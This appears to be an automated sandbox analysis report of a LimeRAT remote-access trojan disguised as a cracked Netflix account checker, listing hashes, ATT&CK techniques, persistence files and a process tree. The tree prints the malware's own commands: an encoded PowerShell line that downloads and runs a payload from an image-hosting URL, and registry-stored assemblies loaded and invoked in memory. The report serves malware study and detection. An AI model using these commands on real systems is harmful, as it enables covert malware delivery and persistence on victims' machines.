limerat | 85e6f154baa5c3d5dcbf1b16ed811bbf643582b194d22aaeb440195640d881dd

Analysis

max time kernel
151s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
19-03-2023 12:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Netflix Checker by GOD Cracked By GM`ka/xNet/procs.exe
Size

1.7MB
MD5

98bfaca19a9ae44bb60fbc3e98e54d09
SHA1

e2f100fc3eb808fe26cdc26327920293c1272cab
SHA256

a0e92f4093a2238cd10451cb37932acbfe2ccdddedb7106b9faaa22fadf582e3
SHA512

d8b5abdb9692f54a512d53589537bb8b4aa489443ef7ae77aede69d5c1510a32ce2508eeca1ff50898fb2305151c53b9f03449dac9a75b4ea8aa370a324f4fbe
SSDEEP

49152:Cl1b5zTZ5YfiyFc7Eno6T2te21ZkWQ5XK9Ey5:CdzxCzfTOe2k5amW

Score

10^/10

limerat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://6.top4top.net/p_13529t6r71.jpg

Signatures

LimeRAT
Simple yet powerful RAT for Windows machines written in .NET.
rat limerat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow	pid	Process
22	4732	powershell.exe
65	612	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeprocs.exeWScript.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	procs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

Processes:

WScript.exeWScript.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KBnSgEeuZWeY.lnk	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PoYUIXZO.lnk	WScript.exe

Executes dropped EXE 1 IoCs

Processes:

Checker Netflix.exe

pid	Process
208	Checker Netflix.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

Processes:

procs.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\Local Settings	procs.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	Process
4732	powershell.exe
4732	powershell.exe
612	powershell.exe
2696	powershell.exe
612	powershell.exe
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

procs.exeWScript.exeWScript.exeWScript.exe

description	pid	Process	procid_target
PID 1952 wrote to memory of 208	1952	procs.exe	85
PID 1952 wrote to memory of 208	1952	procs.exe	85
PID 1952 wrote to memory of 208	1952	procs.exe	85
PID 1952 wrote to memory of 4760	1952	procs.exe	86
PID 1952 wrote to memory of 4760	1952	procs.exe	86
PID 1952 wrote to memory of 4760	1952	procs.exe	86
PID 1952 wrote to memory of 1228	1952	procs.exe	87
PID 1952 wrote to memory of 1228	1952	procs.exe	87
PID 1952 wrote to memory of 1228	1952	procs.exe	87
PID 1952 wrote to memory of 924	1952	procs.exe	88
PID 1952 wrote to memory of 924	1952	procs.exe	88
PID 1952 wrote to memory of 924	1952	procs.exe	88
PID 1228 wrote to memory of 4732	1228	WScript.exe	89
PID 1228 wrote to memory of 4732	1228	WScript.exe	89
PID 1228 wrote to memory of 4732	1228	WScript.exe	89
PID 924 wrote to memory of 2696	924	WScript.exe	92
PID 924 wrote to memory of 2696	924	WScript.exe	92
PID 924 wrote to memory of 2696	924	WScript.exe	92
PID 4760 wrote to memory of 612	4760	WScript.exe	94
PID 4760 wrote to memory of 612	4760	WScript.exe	94
PID 4760 wrote to memory of 612	4760	WScript.exe	94

C:\Users\Admin\AppData\Local\Temp\Netflix Checker by GOD Cracked By GM`ka\xNet\procs.exe
"C:\Users\Admin\AppData\Local\Temp\Netflix Checker by GOD Cracked By GM`ka\xNet\procs.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Users\Admin\AppData\Roaming\Checker Netflix.exe
  "C:\Users\Admin\AppData\Roaming\Checker Netflix.exe"
  2⤵
  - Executes dropped EXE
  PID:208
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\l1l1l.vbs"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\tsQKDrCBEkat).evTHJP).'EntryPoint'.'Invoke'($Null,$Null)
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:612
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\powershell.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8ANgAuAHQAbwBwADQAdABvAHAALgBuAGUAdAAvAHAAXwAxADMANQAyADkAdAA2AHIANwAxAC4AagBwAGcAJwApACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAbgB1AGwAbAApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4732
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\r1r1.vbs"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\vLEwUGUT).gukeLLVoun).'EntryPoint'.'Invoke'($Null,$Null)
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2696

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zuilw3jf.bgq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Checker Netflix.exe

Filesize
1.5MB

MD5
068068c3cefb4c8d997271897c3173bb

SHA1
d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

SHA256
23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

SHA512
0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

Download Submit
C:\Users\Admin\AppData\Roaming\Checker Netflix.exe

Filesize
1.5MB

MD5
068068c3cefb4c8d997271897c3173bb

SHA1
d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

SHA256
23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

SHA512
0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

Download Submit
C:\Users\Admin\AppData\Roaming\Checker Netflix.exe

Filesize
1.5MB

MD5
068068c3cefb4c8d997271897c3173bb

SHA1
d2c22b2c05f2a5c953f9a8a728435b3ba2a9954e

SHA256
23d57dd5576d4a2841457ef578455fd1c61c21758a9b325469e57d0c5f88f7b5

SHA512
0b8c7c29654505f085de12c7663edc326333a439df37d7f48e61019c885ed0810ba492046eac6b2ca4a2a6c75544ad7347cb54869015980fabd85deefc0e549a

Download Submit
C:\Users\Admin\AppData\Roaming\l1l1l.vbs

Filesize
129KB

MD5
c78f607c916f060d6ee3bf391e303acc

SHA1
1575998cda060d4a570ba258abc12044601da283

SHA256
f1e57d1714f74c6939ee24bb348fa12e925ec7eb380d5a7d0f1d230effb742f4

SHA512
cf26b8b381402622df420fa3881630661d08d76660d01be2d695af8ade568a6f5e3b365e4b17bffee5589d936eeaad3f7ebf413f4a2d810d976b66511548875b

Download Submit
C:\Users\Admin\AppData\Roaming\powershell.js

Filesize
2KB

MD5
40b65baa1541784dd92f5aa8ae11b0ef

SHA1
0772c95f56a025704c01389f2d1108a17fb987cf

SHA256
9609d3a8ee7d439c54aca9c5aeced07caa4199f116367ecb88b63e9e2e29a699

SHA512
fc784babe03c75559314dc15a04386d528e71b003b40349df2a4845576bbc9d2f0898d27fc5b1be8cda9fbf16715822bf0616fa7835e1abefe7ccacc8da3b3d2

Download Submit
C:\Users\Admin\AppData\Roaming\r1r1.vbs

Filesize
87KB

MD5
0494f414da149631c3d59861865dad37

SHA1
c9fd335759efb52e58acb974af27cdecb35d0f10

SHA256
a2effa9551b467c88ccea70024bd13650267752d1d6bcd91a5bd6915d9c47a56

SHA512
a86f2532f2ba996dc8421146d918250b1925daf803a470e3bce312f29a4d0b25af51d4abc005ab390650cb0cf6b4024df3c411e6ae4ed03cd51906b54683f333

Download Submit
memory/208-218-0x0000000005520000-0x0000000005530000-memory.dmp

Filesize
64KB

Download
memory/208-184-0x00000000079B0000-0x0000000007A06000-memory.dmp

Filesize
344KB

Download
memory/208-163-0x0000000009140000-0x00000000096E4000-memory.dmp

Filesize
5.6MB

Download
memory/208-167-0x0000000008C30000-0x0000000008CC2000-memory.dmp

Filesize
584KB

Download
memory/208-151-0x0000000000AD0000-0x0000000000C50000-memory.dmp

Filesize
1.5MB

Download
memory/208-157-0x0000000005520000-0x0000000005530000-memory.dmp

Filesize
64KB

Download
memory/208-162-0x0000000008AF0000-0x0000000008B8C000-memory.dmp

Filesize
624KB

Download
memory/208-183-0x0000000007930000-0x000000000793A000-memory.dmp

Filesize
40KB

Download
memory/208-224-0x0000000005520000-0x0000000005530000-memory.dmp

Filesize
64KB

Download
memory/208-208-0x0000000005520000-0x0000000005530000-memory.dmp

Filesize
64KB

Download
memory/612-223-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Filesize
64KB

Download
memory/612-216-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Filesize
64KB

Download
memory/612-222-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Filesize
64KB

Download
memory/612-213-0x00000000078E0000-0x0000000007976000-memory.dmp

Filesize
600KB

Download
memory/612-201-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Filesize
64KB

Download
memory/612-228-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Filesize
64KB

Download
memory/612-202-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Filesize
64KB

Download
memory/2696-227-0x0000000002590000-0x00000000025A0000-memory.dmp

Filesize
64KB

Download
memory/2696-221-0x0000000002590000-0x00000000025A0000-memory.dmp

Filesize
64KB

Download
memory/2696-207-0x0000000002590000-0x00000000025A0000-memory.dmp

Filesize
64KB

Download
memory/2696-212-0x0000000005EF0000-0x0000000005F34000-memory.dmp

Filesize
272KB

Download
memory/2696-217-0x0000000007230000-0x00000000072A6000-memory.dmp

Filesize
472KB

Download
memory/2696-190-0x0000000002590000-0x00000000025A0000-memory.dmp

Filesize
64KB

Download
memory/2696-214-0x0000000006DC0000-0x0000000006DE2000-memory.dmp

Filesize
136KB

Download
memory/2696-215-0x0000000002590000-0x00000000025A0000-memory.dmp

Filesize
64KB

Download
memory/4732-210-0x0000000007EE0000-0x000000000855A000-memory.dmp

Filesize
6.5MB

Download
memory/4732-211-0x0000000006B30000-0x0000000006B4A000-memory.dmp

Filesize
104KB

Download
memory/4732-160-0x00000000051D0000-0x0000000005206000-memory.dmp

Filesize
216KB

Download
memory/4732-219-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/4732-220-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/4732-209-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/4732-199-0x0000000006690000-0x00000000066AE000-memory.dmp

Filesize
120KB

Download
memory/4732-178-0x0000000006050000-0x00000000060B6000-memory.dmp

Filesize
408KB

Download
memory/4732-161-0x00000000058D0000-0x0000000005EF8000-memory.dmp

Filesize
6.2MB

Download
memory/4732-225-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/4732-172-0x0000000005FE0000-0x0000000006046000-memory.dmp

Filesize
408KB

Download
memory/4732-171-0x00000000057D0000-0x00000000057F2000-memory.dmp

Filesize
136KB

Download
memory/4732-169-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/4732-166-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download